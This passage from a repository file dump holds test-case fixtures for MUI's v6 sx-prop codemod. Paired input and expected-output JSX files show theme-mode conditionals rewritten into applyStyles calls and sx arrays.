'primary.800',\n        ...((!disableBorder || selected) && {\n          borderColor: `${alpha(theme.palette.primaryDark[600], 0.3)}`,\n        }),\n        ...(!selected && {\n          '&:hover, &:focus': {\n            bgcolor: `${alpha(theme.palette.primary[800], 0.1)}`,\n            borderColor: `${alpha(theme.palette.primary[500], 0.3)}`,\n            '@media (hover: none)': {\n              bgcolor: 'transparent',\n            },\n          },\n        }),\n        ...(selected && {\n          bgcolor: `${alpha(theme.palette.primary[800], 0.3)}`,\n          borderColor: 'primary.700',\n          // color: 'primary.300',\n          boxShadow: `0px 1px 4px ${\n            (theme.vars || theme).palette.primary[900]\n          }, inset 0px 2px 4px ${(theme.vars || theme).palette.primaryDark[800]}`,\n        }),\n      }),\n      ...theme.applyStyles('light', {\n        color: 'primary.500',\n        ...((!disableBorder || selected) && {\n          borderColor: `${alpha(theme.palette.primary[300], 0.3)}`,\n        }),\n      }),\n      '&.Mui-disabled': {\n        opacity: 0.4,\n      },\n    }),\n    ...(Array.isArray(sx) ? sx : [sx]),\n  ]}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/sx-prop/test-cases/sx-applyStyles.expected.js",
    "content": "<ButtonBase\n  component=\"span\"\n  ref={ref}\n  {...props}\n  disabled={Boolean(disabled)}\n  onClick={(event) => {\n    if (ref.current) {\n      ref.current.scrollIntoView({ block: 'nearest' });\n    }\n    if (props.onClick) {\n      props.onClick(event);\n    }\n  }}\n  onFocusVisible={(event) => {\n    if (ref.current) {\n      ref.current.scrollIntoView({ block: 'nearest' });\n    }\n    if (props.onFocusVisible) {\n      props.onFocusVisible(event);\n    }\n  }}\n  sx={[(theme) => ({\n    justifyContent: 'flex-start',\n    textAlign: 'left',\n    alignItems: 'center',\n    borderRadius: 1,\n    height: '100%',\n    border: '1px solid transparent',\n    transitionProperty: 'all',\n    transitionDuration: '150ms',\n    // color: 'primary.300',\n    overflow: 'auto',\n    ...theme.applyDarkStyles({\n      color: 'primary.800'\n    }),\n    ...theme.applyStyles('light', {\n      color: 'primary.500'\n    }),\n    '&.Mui-disabled': {\n      opacity: 0.4,\n    }\n  }), (!disableBorder || selected) && {\n    borderColor: 'grey.100',\n  }, selected && (theme => ({\n    bgcolor: `${alpha(theme.palette.primary[50], 0.5)}`,\n    borderColor: 'primary.300',\n    // color: 'primary.500',\n    boxShadow: `0px 1px 4px ${theme.palette.primary[200]}, inset 0px 2px 4px ${alpha(\n      theme.palette.primary[100],\n      0.5,\n    )}`\n  })), !selected && {\n    '&:hover, &:focus': {\n      bgcolor: 'primary.50',\n      borderColor: 'primary.100',\n      '@media (hover: none)': {\n        bgcolor: 'transparent',\n      },\n    },\n  }, (!disableBorder || selected) && (theme => theme.applyDarkStyles({\n    borderColor: `${alpha(theme.palette.primaryDark[600], 0.3)}`,\n  })), !selected && (theme => theme.applyDarkStyles({\n    '&:hover, &:focus': {\n      bgcolor: `${alpha(theme.palette.primary[800], 0.1)}`,\n      borderColor: `${alpha(theme.palette.primary[500], 0.3)}`,\n      '@media (hover: none)': {\n        bgcolor: 'transparent',\n      },\n    },\n  })), selected && (theme => theme.applyDarkStyles({\n    bgcolor: `${alpha(theme.palette.primary[800], 0.3)}`,\n    borderColor: 'primary.700',\n    // color: 'primary.300',\n    boxShadow: `0px 1px 4px ${\n      (theme.vars || theme).palette.primary[900]\n    }, inset 0px 2px 4px ${(theme.vars || theme).palette.primaryDark[800]}`,\n  })), (!disableBorder || selected) && (theme => theme.applyStyles('light', {\n    borderColor: `${alpha(theme.palette.primary[300], 0.3)}`,\n  })), ...(Array.isArray(sx) ? sx : [sx])]}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/sx-prop/test-cases/sx-condition.actual.js",
    "content": "<Card\n  {...otherProps}\n  ref={ref}\n  key={it.wcId}\n  data-p={it.performance / 100}\n  variant=\"outlined\"\n  sx={{\n    gap: '0.25rem',\n    textDecoration: 'none',\n    borderRadius: 0.75,\n    background:\n      'linear-gradient(45deg, rgba(235, 245, 255, 0.30) 40%, rgba(243, 246, 249, 0.20) 100%)',\n    transition: 'all 200ms ease-in-out',\n    ...(horizontal\n      ? {\n          display: 'flex',\n          flexDirection: 'row',\n          pr: 1,\n        }\n      : {\n          display: 'flex',\n          flexDirection: 'column',\n          pb: 0.5,\n        }),\n\n    cursor: 'pointer',\n    '&:hover': {\n      borderColor: '#99CCFF',\n      boxShadow: '0px 4px 16px #DAE2ED',\n      transition: 'all 200ms ease-in-out !important',\n    },\n  }}\n  onClick={(event) => {\n    event.preventDefault();\n    navigate(href);\n  }}\n>\n  <Box\n    component={Link}\n    to={href}\n    sx={{\n      position: 'relative',\n      aspectRatio: '100/55',\n      ...(horizontal\n        ? {\n            maxWidth: '50vw',\n            height: {\n              sm: '150px',\n              md: '170px',\n              lg: '210px',\n              xl: '250px',\n            },\n          }\n        : {\n            width: '100%',\n          }),\n    }}\n  >\n    <ResponsiveImage\n      sizes={imageSizes}\n      loading={imageLoading}\n      src={it.images[0]?.src}\n      alt={it.name}\n      style={{\n        aspectRatio: '100/55',\n        ...(horizontal\n          ? {\n              width: 'auto',\n              height: '100%',\n            }\n          : {\n              width: '100%',\n              height: 'auto',\n            }),\n      }}\n    />\n    <NoSsr>\n      {productOffer && productOffer.ui?.itemCard && (\n        <PromoBanner\n          style={{\n            ...defaultPromoCodeStyles,\n            ...productOffer.style,\n            ...productOffer.ui?.itemCard?.style,\n          }}\n        >\n          {productOffer.offerText}\n        </PromoBanner>\n      )}\n    </NoSsr>\n  </Box>\n  <Stack\n    direction=\"column\"\n    sx={{\n      flex: 1,\n      ...(horizontal ? { py: 1.5, px: 1.5 } : { px: 1, pb: 0.5 }),\n    }}\n  ></Stack>\n</Card>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/sx-prop/test-cases/sx-condition.expected.js",
    "content": "<Card\n  {...otherProps}\n  ref={ref}\n  key={it.wcId}\n  data-p={it.performance / 100}\n  variant=\"outlined\"\n  sx={[{\n    gap: '0.25rem',\n    textDecoration: 'none',\n    borderRadius: 0.75,\n    background:\n      'linear-gradient(45deg, rgba(235, 245, 255, 0.30) 40%, rgba(243, 246, 249, 0.20) 100%)',\n    transition: 'all 200ms ease-in-out',\n    cursor: 'pointer',\n    '&:hover': {\n      borderColor: '#99CCFF',\n      boxShadow: '0px 4px 16px #DAE2ED',\n      transition: 'all 200ms ease-in-out !important',\n    }\n  }, (horizontal ? {\n        display: 'flex',\n        flexDirection: 'row',\n        pr: 1,\n      } : {\n        display: 'flex',\n        flexDirection: 'column',\n        pb: 0.5,\n      })]}\n  onClick={(event) => {\n    event.preventDefault();\n    navigate(href);\n  }}\n>\n  <Box\n    component={Link}\n    to={href}\n    sx={[{\n      position: 'relative',\n      aspectRatio: '100/55'\n    }, (horizontal ? {\n          maxWidth: '50vw',\n          height: {\n            sm: '150px',\n            md: '170px',\n            lg: '210px',\n            xl: '250px',\n          },\n        } : {\n          width: '100%',\n        })]}\n  >\n    <ResponsiveImage\n      sizes={imageSizes}\n      loading={imageLoading}\n      src={it.images[0]?.src}\n      alt={it.name}\n      style={{\n        aspectRatio: '100/55',\n        ...(horizontal\n          ? {\n              width: 'auto',\n              height: '100%',\n            }\n          : {\n              width: '100%',\n              height: 'auto',\n            }),\n      }}\n    />\n    <NoSsr>\n      {productOffer && productOffer.ui?.itemCard && (\n        <PromoBanner\n          style={{\n            ...defaultPromoCodeStyles,\n            ...productOffer.style,\n            ...productOffer.ui?.itemCard?.style,\n          }}\n        >\n          {productOffer.offerText}\n        </PromoBanner>\n      )}\n    </NoSsr>\n  </Box>\n  <Stack\n    direction=\"column\"\n    sx={[{\n      flex: 1\n    }, (horizontal ? { py: 1.5, px: 1.5 } : { px: 1, pb: 0.5 })]}\n  ></Stack>\n</Card>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/sx-prop/test-cases/sx-css-vars.actual.js",
    "content": "<Box\n  sx={{\n    backgroundImage: (theme) =>\n      theme.palette.mode === 'light'\n        ? items[selectedItemIndex].imageLight\n        : items[selectedItemIndex].imageDark,\n  }}\n/>;\n\n<Box\n  style={props.style}\n  sx={{\n    backgroundImage: (theme) =>\n      theme.palette.mode === 'light'\n        ? items[selectedItemIndex].imageLight\n        : items[selectedItemIndex].imageDark,\n  }}\n/>;\n\n<Box\n  style={{\n    color: 'red',\n    ...props.style,\n  }}\n  sx={{\n    backgroundImage: (theme) =>\n      theme.palette.mode === 'light'\n        ? items[selectedItemIndex].imageLight\n        : items[selectedItemIndex].imageDark,\n  }}\n/>;\n\n<Box\n  {...props}\n  sx={{\n    backgroundImage: (theme) =>\n      theme.palette.mode === 'light'\n        ? items[selectedItemIndex].imageLight\n        : items[selectedItemIndex].imageDark,\n  }}\n/>;\n\n<Paper\n  sx={{\n    position: 'relative',\n    backgroundColor: 'grey.800',\n    color: '#fff',\n    mb: 4,\n    backgroundSize: 'cover',\n    backgroundRepeat: 'no-repeat',\n    backgroundPosition: 'center',\n    backgroundImage: `url(${post.image})`,\n  }}\n></Paper>;\n\n<Chip\n  size=\"sm\"\n  variant=\"outlined\"\n  color={colors[data.role]}\n  sx={{\n    ml: 'auto',\n    borderRadius: '2px',\n    minHeight: '20px',\n    paddingInline: '4px',\n    fontSize: 'xs',\n    bgcolor: `${colors[data.role]}.softBg`,\n  }}\n>\n  {data.role}\n</Chip>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/sx-prop/test-cases/sx-css-vars.expected.js",
    "content": "<Box\n  sx={theme => ({\n    backgroundImage: \"var(--imageDark-items-selectedItemIndex)\",\n    ...theme.applyStyles(\"light\", {\n      backgroundImage: \"var(--imageLight-items-selectedItemIndex)\"\n    })\n  })}\n  style={{\n    \"--imageLight-items-selectedItemIndex\": items[selectedItemIndex].imageLight,\n    \"--imageDark-items-selectedItemIndex\": items[selectedItemIndex].imageDark\n  }} />;\n\n<Box\n  style={{\n    \"--imageLight-items-selectedItemIndex\": items[selectedItemIndex].imageLight,\n    \"--imageDark-items-selectedItemIndex\": items[selectedItemIndex].imageDark,\n    ...props.style\n  }}\n  sx={theme => ({\n    backgroundImage: \"var(--imageDark-items-selectedItemIndex)\",\n    ...theme.applyStyles(\"light\", {\n      backgroundImage: \"var(--imageLight-items-selectedItemIndex)\"\n    })\n  })}\n/>;\n\n<Box\n  style={{\n    \"--imageLight-items-selectedItemIndex\": items[selectedItemIndex].imageLight,\n    \"--imageDark-items-selectedItemIndex\": items[selectedItemIndex].imageDark,\n    color: 'red',\n    ...props.style\n  }}\n  sx={theme => ({\n    backgroundImage: \"var(--imageDark-items-selectedItemIndex)\",\n    ...theme.applyStyles(\"light\", {\n      backgroundImage: \"var(--imageLight-items-selectedItemIndex)\"\n    })\n  })}\n/>;\n\n<Box\n  {...props}\n  sx={theme => ({\n    backgroundImage: \"var(--imageDark-items-selectedItemIndex)\",\n    ...theme.applyStyles(\"light\", {\n      backgroundImage: \"var(--imageLight-items-selectedItemIndex)\"\n    })\n  })}\n  style={{\n    \"--imageLight-items-selectedItemIndex\": items[selectedItemIndex].imageLight,\n    \"--imageDark-items-selectedItemIndex\": items[selectedItemIndex].imageDark,\n    ...props.style\n  }} />;\n\n<Paper\n  sx={{\n    position: 'relative',\n    backgroundColor: 'grey.800',\n    color: '#fff',\n    mb: 4,\n    backgroundSize: 'cover',\n    backgroundRepeat: 'no-repeat',\n    backgroundPosition: 'center',\n    backgroundImage: `url(${\"var(--post-image)\"})`,\n  }}\n  style={{\n    \"--post-image\": post.image\n  }}></Paper>;\n\n<Chip\n  size=\"sm\"\n  variant=\"outlined\"\n  color={colors[data.role]}\n  sx={{\n    ml: 'auto',\n    borderRadius: '2px',\n    minHeight: '20px',\n    paddingInline: '4px',\n    fontSize: 'xs',\n    bgcolor: `${\"var(--colors-data-role)\"}.softBg`,\n  }}\n  style={{\n    \"--colors-data-role\": colors[data.role]\n  }}>\n  {data.role}\n</Chip>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/sx-prop/test-cases/sx-dynamic.actual.js",
    "content": "<Box\n  sx={{\n    mb: 1,\n    display: 'flex',\n    justifyContent: 'space-between',\n    alignItems: 'center',\n    gap: 2,\n    color: tier.title === 'Professional' ? 'grey.100' : '',\n    backgroundColor: (theme) =>\n      theme.palette.mode === 'light' ? theme.palette.grey[100] : theme.palette.grey[900],\n    borderBottom: (theme) =>\n      `1px solid ${theme.palette.mode === 'light' ? 'grey.200' : 'grey.800'}`,\n  }}\n></Box>;\n\n<Card\n  sx={(theme) => ({\n    p: 2,\n    display: 'flex',\n    flexDirection: 'column',\n    gap: 4,\n    ...(tier.title === 'Professional' && {\n      border: 'none',\n      boxShadow:\n        theme.palette.mode === 'light'\n          ? `0 8px 12px hsla(210, 98%, 42%, 0.2)`\n          : `0 8px 12px hsla(0, 0%, 0%, 0.8)`,\n      background: 'radial-gradient(circle at 50% 0%, hsl(210, 98%, 35%), hsl(210, 100%, 16%))',\n    }),\n  })}\n></Card>;\n\n<Card\n  key={index}\n  component={Button}\n  onClick={() => handleItemClick(index)}\n  sx={(theme) => ({\n    p: 3,\n    height: 'fit-content',\n    width: '100%',\n    background: 'none',\n    ...(selectedItemIndex === index && {\n      backgroundColor: 'action.selected',\n      borderColor: theme.palette.mode === 'light' ? 'primary.light' : 'primary.dark',\n    }),\n    '&:hover': {\n      background:\n        theme.palette.mode === 'light'\n          ? 'linear-gradient(to bottom right, hsla(210, 100%, 97%, 0.5) 25%, hsla(210, 100%, 90%, 0.3) 100%)'\n          : 'linear-gradient(to right bottom, hsla(210, 100%, 12%, 0.2) 25%, hsla(210, 100%, 16%, 0.2) 100%)',\n      borderColor: theme.palette.mode === 'light' ? 'primary.light' : 'primary.dark',\n      boxShadow:\n        theme.palette.mode === 'light'\n          ? '0px 2px 8px hsla(0, 0%, 0%, 0.1)'\n          : '0px 1px 8px hsla(210, 100%, 25%, 0.5) ',\n    },\n  })}\n></Card>;\n\n<CreditCardRoundedIcon\n  fontSize=\"small\"\n  sx={(theme) => ({\n    color: theme.palette.mode === 'light' ? 'grey.400' : 'grey.600',\n    ...(paymentType === 'creditCard' && {\n      color: 'primary.main',\n    }),\n  })}\n/>;\n\n<IconButton\n  edge=\"start\"\n  color=\"inherit\"\n  aria-label=\"open drawer\"\n  onClick={toggleDrawer}\n  sx={{\n    marginRight: '36px',\n    ...(open && { display: 'none' }),\n  }}\n>\n  <MenuIcon />\n</IconButton>;\n\n<div\n  sx={[\n    {\n      ...(selectedItemIndex === index && {\n        backgroundColor: 'action.selected',\n        borderColor: theme.palette.mode === 'light' ? 'primary.light' : 'primary.dark',\n      }),\n    },\n    (theme) => ({\n      color: theme.palette.mode === 'light' ? 'grey.400' : 'grey.600',\n      ...(paymentType === 'creditCard' && {\n        color: 'primary.main',\n      }),\n    }),\n    {\n      marginRight: '36px',\n      ...(open && { display: 'none' }),\n    },\n  ]}\n/>;\n\n<Step\n  key={step}\n  indicator={\n    <StepIndicator\n      variant={activeStep <= index ? 'soft' : 'solid'}\n      color={activeStep < index ? 'neutral' : 'primary'}\n    >\n      {activeStep <= index ? index + 1 : <Check />}\n    </StepIndicator>\n  }\n  sx={{\n    '&:not([data-active])': {\n      '&::after': {\n        ...(activeStep > index && index !== 2 && { bgcolor: 'primary.solidBg' }),\n      },\n    },\n  }}\n>\n  <StepButton onClick={() => setActiveStep(index)}>{step}</StepButton>\n</Step>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/sx-prop/test-cases/sx-dynamic.expected.js",
    "content": "<Box\n  sx={theme => ({\n    mb: 1,\n    display: 'flex',\n    justifyContent: 'space-between',\n    alignItems: 'center',\n    gap: 2,\n    backgroundColor: theme.palette.grey[900],\n    borderBottom: `1px solid ${'grey.800'}`,\n    ...theme.applyStyles(\"light\", {\n      backgroundColor: theme.palette.grey[100],\n      borderBottom: `1px solid ${'grey.200'}`\n    })\n  })}\n></Box>;\n\n<Card\n  sx={[(theme) => ({\n    p: 2,\n    display: 'flex',\n    flexDirection: 'column',\n    gap: 4\n  }), tier.title === 'Professional' && (theme => ({\n    border: 'none',\n    boxShadow:\n      `0 8px 12px hsla(0, 0%, 0%, 0.8)`,\n    background: 'radial-gradient(circle at 50% 0%, hsl(210, 98%, 35%), hsl(210, 100%, 16%))',\n    ...theme.applyStyles(\"light\", {\n      boxShadow: `0 8px 12px hsla(210, 98%, 42%, 0.2)`\n    })\n  }))]}\n></Card>;\n\n<Card\n  key={index}\n  component={Button}\n  onClick={() => handleItemClick(index)}\n  sx={[(theme) => ({\n    p: 3,\n    height: 'fit-content',\n    width: '100%',\n    background: 'none',\n    '&:hover': {\n      background:\n        'linear-gradient(to right bottom, hsla(210, 100%, 12%, 0.2) 25%, hsla(210, 100%, 16%, 0.2) 100%)',\n      borderColor: 'primary.dark',\n      boxShadow:\n        '0px 1px 8px hsla(210, 100%, 25%, 0.5) ',\n      ...theme.applyStyles(\"light\", {\n        background: 'linear-gradient(to bottom right, hsla(210, 100%, 97%, 0.5) 25%, hsla(210, 100%, 90%, 0.3) 100%)',\n        borderColor: 'primary.light',\n        boxShadow: '0px 2px 8px hsla(0, 0%, 0%, 0.1)'\n      })\n    }\n  }), selectedItemIndex === index && (theme => ({\n    backgroundColor: 'action.selected',\n    borderColor: 'primary.dark',\n    ...theme.applyStyles(\"light\", {\n      borderColor: 'primary.light'\n    })\n  }))]}\n></Card>;\n\n<CreditCardRoundedIcon\n  fontSize=\"small\"\n  sx={[(theme) => ({\n    color: 'grey.600',\n    ...theme.applyStyles(\"light\", {\n      color: 'grey.400'\n    }),\n  }), paymentType === 'creditCard' && {\n    color: 'primary.main',\n  }]}\n/>;\n\n<IconButton\n  edge=\"start\"\n  color=\"inherit\"\n  aria-label=\"open drawer\"\n  onClick={toggleDrawer}\n  sx={[{\n    marginRight: '36px'\n  }, open && { display: 'none' }]}\n>\n  <MenuIcon />\n</IconButton>;\n\n<div\n  sx={[selectedItemIndex === index && (theme => ({\n    backgroundColor: 'action.selected',\n    borderColor: 'primary.dark',\n    ...theme.applyStyles(\"light\", {\n      borderColor: 'primary.light'\n    })\n  })), (theme) => ({\n    color: 'grey.600',\n    ...theme.applyStyles(\"light\", {\n      color: 'grey.400'\n    }),\n  }), paymentType === 'creditCard' && {\n    color: 'primary.main',\n  }, {\n    marginRight: '36px'\n  }, open && { display: 'none' }]}\n/>;\n\n<Step\n  key={step}\n  indicator={\n    <StepIndicator\n      variant={activeStep <= index ? 'soft' : 'solid'}\n      color={activeStep < index ? 'neutral' : 'primary'}\n    >\n      {activeStep <= index ? index + 1 : <Check />}\n    </StepIndicator>\n  }\n  sx={[activeStep > index && index !== 2 && {\n    '&:not([data-active])': {\n      '&::after': { bgcolor: 'primary.solidBg' }\n    }\n  }]}\n>\n  <StepButton onClick={() => setActiveStep(index)}>{step}</StepButton>\n</Step>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/sx-prop/test-cases/sx-dynamic2.actual.js",
    "content": "<Accordion\n  expanded={expanded}\n  onChange={handleExpansion}\n  slotProps={{ transition: { timeout: 400 } }}\n  sx={{\n    '& .MuiAccordion-region': { height: expanded ? 'auto' : 0 },\n    '& .MuiAccordionDetails-root': { display: expanded ? 'block' : 'none' },\n  }}\n></Accordion>;\n\n<Box\n  sx={{\n    display: 'flex',\n    flexDirection: { xs: 'column-reverse', sm: 'row' },\n    justifyContent: activeStep !== 0 ? 'space-between' : 'flex-end',\n    alignItems: 'end',\n    flexGrow: 1,\n    gap: 1,\n    pb: { xs: 12, sm: 0 },\n    mt: { xs: 2, sm: 0 },\n    mb: '60px',\n  }}\n></Box>;\n\n<Box\n  sx={{\n    display: 'flex',\n    alignItems: 'baseline',\n    color: tier.title === 'Professional' ? 'grey.50' : undefined,\n  }}\n></Box>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/sx-prop/test-cases/sx-dynamic2.expected.js",
    "content": "<Accordion\n  expanded={expanded}\n  onChange={handleExpansion}\n  slotProps={{ transition: { timeout: 400 } }}\n  sx={[expanded ? {\n    '& .MuiAccordion-region': {\n      height: 'auto'\n    }\n  } : {\n    '& .MuiAccordion-region': {\n      height: 0\n    }\n  }, expanded ? {\n    '& .MuiAccordionDetails-root': {\n      display: 'block'\n    }\n  } : {\n    '& .MuiAccordionDetails-root': {\n      display: 'none'\n    }\n  }]}\n></Accordion>;\n\n<Box\n  sx={[{\n    display: 'flex',\n    flexDirection: { xs: 'column-reverse', sm: 'row' },\n    alignItems: 'end',\n    flexGrow: 1,\n    gap: 1,\n    pb: { xs: 12, sm: 0 },\n    mt: { xs: 2, sm: 0 },\n    mb: '60px'\n  }, activeStep !== 0 ? {\n    justifyContent: 'space-between'\n  } : {\n    justifyContent: 'flex-end'\n  }]}\n></Box>;\n\n<Box\n  sx={[{\n    display: 'flex',\n    alignItems: 'baseline'\n  }, tier.title === 'Professional' ? {\n    color: 'grey.50'\n  } : {\n    color: null\n  }]}\n></Box>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/sx-prop/test-cases/sx-inheritance.actual.js",
    "content": "<Layout\n  {...layoutProps}\n  {...slotProps.layout}\n  slots={slots}\n  slotProps={slotProps}\n  sx={[\n    ...(Array.isArray(sx) ? sx : [sx]),\n    ...(Array.isArray(slotProps?.layout?.sx) ? slotProps.layout.sx : [slotProps.layout.sx]),\n  ]}\n  className={clsx(className, slotProps.layout.className)}\n  ref={ref}\n/>;\n\n<FormControl\n  disabled={disabled}\n  id={id}\n  sx={[...(Array.isArray(formControlSx) ? formControlSx : [formControlSx])]}\n/>;"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/sx-prop/test-cases/sx-inheritance.expected.js",
    "content": "<Layout\n  {...layoutProps}\n  {...slotProps.layout}\n  slots={slots}\n  slotProps={slotProps}\n  sx={[\n    ...(Array.isArray(sx) ? sx : [sx]),\n    ...(Array.isArray(slotProps?.layout?.sx) ? slotProps.layout.sx : [slotProps.layout.sx]),\n  ]}\n  className={clsx(className, slotProps.layout.className)}\n  ref={ref}\n/>;\n\n<FormControl\n  disabled={disabled}\n  id={id}\n  sx={[...(Array.isArray(formControlSx) ? formControlSx : [formControlSx])]}\n/>;"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/sx-prop/test-cases/sx-line-break.actual.js",
    "content": "\nimport AppBar from '@mui/material/AppBar';\nimport Stack from '@mui/material/Stack';\nimport Toolbar from '@mui/material/Toolbar';\nimport Typography from '@mui/material/Typography';\nimport IconButton from '@mui/material/IconButton';\nimport MenuIcon from '@mui/icons-material/Menu';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\n\nfunction appBarLabel(label) {\n  return (\n    <Toolbar>\n      <IconButton edge=\"start\" color=\"inherit\" aria-label=\"menu\" sx={{ mr: 2 }}>\n        <MenuIcon />\n      </IconButton>\n      <Typography variant=\"h6\" noWrap component=\"div\" sx={{ flexGrow: 1 }}>\n        {label}\n      </Typography>\n    </Toolbar>\n  );\n}\n\nconst darkTheme = createTheme({\n  palette: {\n    mode: 'dark',\n    primary: {\n      main: '#1976d2',\n    },\n  },\n});\n\nexport default function EnableColorOnDarkAppBar() {\n  return (\n    <Stack spacing={2} sx={{ flexGrow: 1 }}>\n      <ThemeProvider theme={darkTheme}>\n        <AppBar position=\"static\" color=\"primary\" enableColorOnDark>\n          {appBarLabel('enableColorOnDark')}\n        </AppBar>\n        <AppBar position=\"static\" color=\"primary\">\n          {appBarLabel('default')}\n        </AppBar>\n      </ThemeProvider>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/sx-prop/test-cases/sx-line-break.expected.js",
    "content": "\nimport AppBar from '@mui/material/AppBar';\nimport Stack from '@mui/material/Stack';\nimport Toolbar from '@mui/material/Toolbar';\nimport Typography from '@mui/material/Typography';\nimport IconButton from '@mui/material/IconButton';\nimport MenuIcon from '@mui/icons-material/Menu';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\n\nfunction appBarLabel(label) {\n  return (\n    <Toolbar>\n      <IconButton edge=\"start\" color=\"inherit\" aria-label=\"menu\" sx={{ mr: 2 }}>\n        <MenuIcon />\n      </IconButton>\n      <Typography variant=\"h6\" noWrap component=\"div\" sx={{ flexGrow: 1 }}>\n        {label}\n      </Typography>\n    </Toolbar>\n  );\n}\n\nconst darkTheme = createTheme({\n  palette: {\n    mode: 'dark',\n    primary: {\n      main: '#1976d2',\n    },\n  },\n});\n\nexport default function EnableColorOnDarkAppBar() {\n  return (\n    <Stack spacing={2} sx={{ flexGrow: 1 }}>\n      <ThemeProvider theme={darkTheme}>\n        <AppBar position=\"static\" color=\"primary\" enableColorOnDark>\n          {appBarLabel('enableColorOnDark')}\n        </AppBar>\n        <AppBar position=\"static\" color=\"primary\">\n          {appBarLabel('default')}\n        </AppBar>\n      </ThemeProvider>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/sx-prop/test-cases/sx-value-callback.actual.js",
    "content": "function FacebookCircularProgress(props) {\n  return (\n    <Box sx={{ position: 'relative' }}>\n      <CircularProgress\n        variant=\"determinate\"\n        sx={{\n          color: (theme) => theme.palette.grey[theme.palette.mode === 'light' ? 200 : 800],\n        }}\n        size={40}\n        thickness={4}\n        {...props}\n        value={100}\n      />\n      <CircularProgress\n        variant=\"indeterminate\"\n        disableShrink\n        sx={{\n          color: (theme) => (theme.palette.mode === 'light' ? '#1a90ff' : '#308fe8'),\n          animationDuration: '550ms',\n          position: 'absolute',\n          left: 0,\n          [`& .${circularProgressClasses.circle}`]: {\n            strokeLinecap: 'round',\n          },\n        }}\n        size={40}\n        thickness={4}\n        {...props}\n      />\n    </Box>\n  );\n}\n\n<Paper\n  elevation={0}\n  sx={{\n    display: 'flex',\n    border: (theme) => `1px solid ${theme.palette.divider}`,\n    flexWrap: 'wrap',\n  }}\n></Paper>;\n\n<Divider\n  sx={{ border: (theme) => `1px solid ${theme.palette.mode === 'dark' ? '#fff' : '#000'}` }}\n/>;\n\n<Typography\n  component=\"span\"\n  variant=\"subtitle1\"\n  color=\"inherit\"\n  sx={{\n    position: 'relative',\n    p: 4,\n    pt: 2,\n    pb: (theme) => `calc(${theme.spacing(1)} + 6px)`,\n  }}\n>\n  {image.title}\n  <ImageMarked className=\"MuiImageMarked-root\" />\n</Typography>;\n\n<Autocomplete\n  sx={{\n    display: 'inline-block',\n    '& input': {\n      width: 200,\n      bgcolor: 'background.paper',\n      color: (theme) => theme.palette.getContrastText(theme.palette.background.paper),\n    },\n  }}\n  id=\"custom-input-demo\"\n  options={options}\n  renderInput={(params) => (\n    <div ref={params.InputProps.ref}>\n      <input type=\"text\" {...params.inputProps} />\n    </div>\n  )}\n/>;\n\n<Box\n  sx={{\n    position: 'relative',\n    width: 400,\n    bgcolor: 'background.paper',\n    border: '2px solid #000',\n    boxShadow: (theme) => theme.shadows[5],\n    p: 4,\n  }}\n></Box>;\n\n<Backdrop\n  sx={{ color: '#fff', zIndex: (theme) => theme.zIndex.drawer + 1 }}\n  open={open}\n  onClick={handleClose}\n>\n  <CircularProgress color=\"inherit\" />\n</Backdrop>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/sx-prop/test-cases/sx-value-callback.expected.js",
    "content": "function FacebookCircularProgress(props) {\n  return (\n    (<Box sx={{ position: 'relative' }}>\n      <CircularProgress\n        variant=\"determinate\"\n        sx={theme => ({\n          color: theme.palette.grey[800],\n          ...theme.applyStyles(\"light\", {\n            color: theme.palette.grey[200]\n          })\n        })}\n        size={40}\n        thickness={4}\n        {...props}\n        value={100}\n      />\n      <CircularProgress\n        variant=\"indeterminate\"\n        disableShrink\n        sx={theme => ({\n          color: '#308fe8',\n          animationDuration: '550ms',\n          position: 'absolute',\n          left: 0,\n          [`& .${circularProgressClasses.circle}`]: {\n            strokeLinecap: 'round',\n          },\n          ...theme.applyStyles(\"light\", {\n            color: '#1a90ff'\n          })\n        })}\n        size={40}\n        thickness={4}\n        {...props}\n      />\n    </Box>)\n  );\n}\n\n<Paper\n  elevation={0}\n  sx={theme => ({\n    display: 'flex',\n    border: `1px solid ${theme.palette.divider}`,\n    flexWrap: 'wrap'\n  })}\n></Paper>;\n\n<Divider\n  sx={theme => ({\n    border: `1px solid ${'#000'}`,\n    ...theme.applyStyles(\"dark\", {\n      border: `1px solid ${'#fff'}`\n    })\n  })}\n/>;\n\n<Typography\n  component=\"span\"\n  variant=\"subtitle1\"\n  color=\"inherit\"\n  sx={theme => ({\n    position: 'relative',\n    p: 4,\n    pt: 2,\n    pb: `calc(${theme.spacing(1)} + 6px)`\n  })}\n>\n  {image.title}\n  <ImageMarked className=\"MuiImageMarked-root\" />\n</Typography>;\n\n<Autocomplete\n  sx={theme => ({\n    display: 'inline-block',\n    '& input': {\n      width: 200,\n      bgcolor: 'background.paper',\n      color: theme.palette.getContrastText(theme.palette.background.paper),\n    }\n  })}\n  id=\"custom-input-demo\"\n  options={options}\n  renderInput={(params) => (\n    <div ref={params.InputProps.ref}>\n      <input type=\"text\" {...params.inputProps} />\n    </div>\n  )}\n/>;\n\n<Box\n  sx={theme => ({\n    position: 'relative',\n    width: 400,\n    bgcolor: 'background.paper',\n    border: '2px solid #000',\n    boxShadow: theme.shadows[5],\n    p: 4\n  })}\n></Box>;\n\n<Backdrop\n  sx={theme => ({\n    color: '#fff',\n    zIndex: theme.zIndex.drawer + 1\n  })}\n  open={open}\n  onClick={handleClose}\n>\n  <CircularProgress color=\"inherit\" />\n</Backdrop>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/system-props/index.js",
    "content": "export { default } from './removeSystemProps';\n"
  },
  {
